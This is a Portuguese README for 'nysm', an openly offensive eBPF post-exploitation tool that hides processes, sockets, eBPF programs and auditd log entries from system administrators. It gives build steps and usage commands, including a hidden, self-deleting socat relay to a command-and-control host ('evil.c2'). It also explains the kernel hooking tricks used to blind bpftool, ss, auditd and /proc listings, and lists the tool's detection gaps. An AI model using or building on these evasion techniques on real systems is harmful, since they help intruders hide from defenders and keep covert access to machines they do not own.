
Contêiner furtivo baseado em eBPF que oculta processos, sockets, objetos eBPF e logs de auditoria de ferramentas de monitoramento do sistema, permitindo operações encobertas de pós-exploração.
Um contêiner furtivo de pós-exploração.
Com o aumento da popularidade de ferramentas ofensivas baseadas em eBPF, desde roubadores de credenciais até rootkits que ocultam seu próprio PID, surgiu uma pergunta: Seria possível tornar o eBPF invisível aos próprios olhos? A partir daí, criamos o nysm, um contêiner furtivo de eBPF projetado para fazer com que ferramentas ofensivas passem despercebidas pelos administradores de sistema, não apenas ocultando o eBPF, mas muito mais:
Todas essas ferramentas ficam cegas para o que passa pelo nysm. Ele oculta:
Aviso Esta ferramenta é uma simples demonstração das capacidades do eBPF como tal. Não pretende ser exaustiva. No entanto, pull requests são mais do que bem-vindos.
sudo apt install git make pkg-config libelf-dev libzstd-dev clang llvm bpftool -y
cd ./nysm/src/
bpftool btf dump file /sys/kernel/btf/vmlinux format c > vmlinux.h
cd ./nysm/src/
make
O nysm é um programa simples para executar antes do comando desejado:
Uso: nysm [OPÇÃO...] COMANDO
Contêiner furtivo de eBPF.
-d, --detach Executa COMANDO em segundo plano
-r, --rm Autodestruição após a execução
-v, --verbose Produz saída detalhada
-h, --help Exibe esta ajuda
--usage Exibe uma mensagem de uso resumida
Executar um bash oculto:
./nysm bash
Executar um ssh oculto e remover ./nysm:
./nysm -r ssh user@domain
Executar um socat oculto como daemon e remover ./nysm:
./nysm -dr socat TCP4-LISTEN:80 TCP4:evil.c2:443
Como o eBPF não pode sobrescrever valores retornados ou endereços do kernel, nosso objetivo é encontrar a chamada de nível mais baixo que interaja com um endereço do espaço do usuário para sobrescrever seu valor e ocultar os objetos desejados.
Para diferenciar eventos do nysm dos demais, tudo é executado dentro de um namespace de PID separado.
bpftool possui alguns recursos que o nysm deseja evadir: bpftool prog list, bpftool map list e bpftool link list.
Como qualquer programa eBPF, o bpftool usa a chamada de sistema bpf(), e mais especificamente com os comandos BPF_PROG_GET_NEXT_ID, BPF_MAP_GET_NEXT_ID e BPF_LINK_GET_NEXT_ID. O resultado dessas chamadas é armazenado no endereço de espaço do usuário apontado pelo argumento attr.
Para sobrescrever uattr, um tracepoint é configurado na entrada de bpf() para armazenar o endereço apontado em um mapa. Feito isso, aguarda-se o tracepoint de saída de bpf(). Quando bpf() sai, o nysm pode ler e escrever através da estrutura bpf_attr. Após cada BPF_*_GET_NEXT_ID, bpf_attr.start_id é substituído por bpf_attr.next_id.
Para ocultar IDs específicos, ele verifica bpf_attr.next_id e o substitui pelo próximo ID que não foi criado no nysm.
Os IDs de programas, mapas e links são coletados de security_bpf_prog(), security_bpf_map() e bpf_link_prime().
O Auditd recebe seus logs através de recvfrom(), que armazena suas mensagens em um buffer.
Se a mensagem recebida foi gerada por um processo do nysm através de audit_log_end(), ele substitui o comprimento da mensagem em seu cabeçalho nlmsghdr por 0.
Ocultar PIDs com eBPF não é novidade. O nysm oculta os PIDs de novos alloc_pid() do getdents64() em /proc alterando o comprimento do registro anterior.
Como getdents64() exige percorrer todos os seus arquivos, o limite de instruções eBPF é facilmente atingido. Portanto, o nysm usa tail calls antes de atingi-lo.
Ocultar sockets é uma palavra forte. Na verdade, sockets abertos já estão ocultos de muitas ferramentas, pois elas não encontram o processo em /proc. No entanto, o ss usa socket() com a flag NETLINK_SOCK_DIAG, que retorna todos os sockets atualmente abertos. Depois disso, o ss recebe o resultado através de recvmsg() em um buffer de mensagem e o valor retornado é o comprimento de todas essas mensagens combinadas.
Aqui, o mesmo método usado para os PIDs é aplicado: o comprimento da mensagem anterior é modificado para ocultar os sockets do nysm.
Estes são coletados das chamadas connect() e bind().
Mesmo com o melhor esforço, o nysm ainda tem algumas limitações.
Toda ferramenta que não fecha seus descritores de arquivo detectará processos do nysm criados enquanto estiverem abertos. Por exemplo, se ./nysm bash estiver em execução antes de top, os processos não aparecerão. Mas, se outro processo for criado a partir dessa instância do bash enquanto top ainda estiver em execução, o novo processo será detectado. O mesmo problema ocorre com sockets e ferramentas como nethogs.
Logs do kernel: dmesg e /var/log/kern.log, a mensagem nysm[<PID>] is installing a program with bpf_probe_write_user helper that may corrupt user memory! aparecerá várias vezes devido ao verificador eBPF na execução do nysm.
Muitos rastros escritos em arquivos são deixados, pois interceptar read() e write() seria muito pesado (mas ainda possível). Por exemplo, /proc/net/tcp ou /sys/kernel/debug/tracing/enabled_functions.
Ocultar recvmsg do ss pode ser desafiador, pois um novo socket pode aparecer no início do buffer, e o nysm não pode ocultá-lo com um registro anterior (isso não se aplica a PIDs). Uma correção rápida poderia ser trocar o lugar entre o primeiro e o próximo socket legítimo, mas e se um socket estiver sozinho no buffer? Portanto, o nysm modifica as informações do primeiro socket com valores fixos.
Executar bpf() com qualquer flag BPF_*_GET_NEXT_ID a partir de um processo filho do nysm deve ser evitado, pois ocultaria todos os objetos eBPF que não são do nysm.
Claro, muitas dessas limitações devem ter suas próprias soluções. Novamente, pull requests são mais do que bem-vindos.